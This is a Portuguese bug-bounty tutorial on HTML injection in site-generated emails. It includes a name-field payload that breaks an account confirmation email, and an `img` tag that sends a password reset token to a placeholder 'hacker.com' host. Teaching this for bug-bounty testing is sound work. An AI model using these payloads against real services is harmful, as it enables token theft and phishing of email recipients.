BugBounty types — HTML injection via email
HTML injection é um ataque muito parecido com o Cross-site Scripting (XSS), enquanto no XSS o invasor pode injetar e executar códigos em Javascript, no ataque por injeção de HTML permite apenas a injeção de determinadas tags HTML.
Já o HTML injection via email é baseado em substituir algumas informações no lado do cliente, e conseguir alguma alteração no corpo do email que é enviado para o usuário final.
Ex 1:
O desenvolvedor de algum site aplicou filtros em todos os locais onde a informação é mostrada para o usuário.
O usuário se cadastra no site, com o nome “João” sobrenome “kleber” email joao.k@email.com.
Após o cadastro vem uma mensagem solicitando que o user valide sua conta através de uma confirmação por email.
“Por favor João Kleber, valide sua conta através de um link enviado para joao.k@email[.]com”
Email recebido:
HTML:
<h1>Confirmação de email</h1>
<p> Olá João Kleber, aqui está o link para confirmar seu email.
http://bancotop.com/confirmation/supertokenconfirmation1234
</p>
Testando o HTML injection:
João cria uma nova conta, com nome `”><img src=x>` e sobrenome test, em seguida o site retorna a resposta:
“Por favor `”><img src=x>` test, valide sua conta através de um link enviado para joao.k@email[.]com”.
Novo Email recebido:
HTML:
<h1>Confirmação de email</h1>
<p> Olá “><img src=x> test, aqui está o link para confirmar seu email.
http://bancotop.com/confirmation/supertokenconfirmation9231
</p>
Percebemos que o site gravou o nome do usuário como html no banco de dados, e agora ao solicitar confirmação, o html injetado pelo usuário consegue quebrar o email original enviado pelo sistema.
Outros pontos de ataque:
As empresas sempre enviam e-mails promocionais, oferecendo novos produtos, falando sobre novas atualizações ou algum outro tipo de confirmação. Vou deixar aqui alguns lugares que costumo sempre testar.
Newsletter:
Sem precisar de login ou muita informação, em alguns casos podemos cadastrar nosso email para receber as atualizações do site apenas com nome e email.
XSS Com fritas por favor:
Password Reset:
Quem sabe se juntarmos com template injection, podemos obter algum token ou outras informações, uma ideia para isso seria injetar
<img src=http:///hacker.com/?token={token}>
Escalando um XSS:
Algumas empresas alugam ou usam o próprio sistema para leitura de e-mails, por isso sempre é uma boa ideia enviar algum script ou um payload que possa nos retornar alguma requisição do lado do servidor, em alguns gerenciadores de email mais usados como o Gmail, não conseguiríamos usar a tag <script>, mas talvez a resposta possa ser outra em algum outro gerenciador privado.
Impacto:
Esse tipo de ataque pode ser usado principalmente para phishing, com intuito de obter informações do usuário ou até comprometer com a integridade de quem está enviando o email.
Em sistemas bancários, pode ser usada para obter informações sobre o cartão da vítima ou solicitar algum pagamento inusitado.
O nível do impacto pode ser diferente, dependendo de para quem você reportou.
Links & Referencias:
Twitter: https://twitter.com/elber333
https://hackerone.com/hacktivity
Google Dork: [Html injection via email site:”hackerone.com”]